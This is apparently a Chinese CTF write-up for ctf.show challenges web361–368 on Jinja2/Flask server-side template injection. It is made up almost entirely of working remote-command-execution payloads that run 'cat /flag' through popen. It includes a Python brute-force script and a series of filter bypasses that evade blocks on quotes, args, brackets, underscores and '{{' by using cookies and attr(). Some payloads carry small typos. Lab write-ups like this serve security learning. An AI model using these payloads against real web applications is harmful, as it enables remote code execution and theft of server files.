web361
由题目提示可知url参数名应该是name,尝试输入name=world
发现world被输出
输入name={{7*7}},输出49,说明存在SSTI注入
获取内置类对应的类
name={{''.__class__}}
获取object基类
name={{' '.__class__.base__}}
获得所有子类
name={{''.__class__.__base__.__subclasses()__}}
获得可以执行shell命令的子类
python脚本
import requests
for num in range(500):
try:
url = "http://d1d66a66-a5b8-440b-890a-bba4fccf51f4.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__['popen']}}"
res = requests.get(url=url).text
if 'popen' in res:
print(num)
except:
pass
执行命令name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
读取flag
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web362
构造payload:?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
web363
过滤了引号,使用request
传入{{ config.__class__.__init__.__globals__['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a
随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效
构造payload:name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat ../flag
web364
过滤了引号和args,使用cookie代替args
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag
web365
过滤了中括号
?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}
Cookie:a=cat /flag
web366
过滤了下划线
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
web367
过滤了os
?name{{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie:a=__globals__;b=os;c=cat /flag
web368
过滤了{{
?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}
Cookie:a=__globals__;b=os;c=cat /flag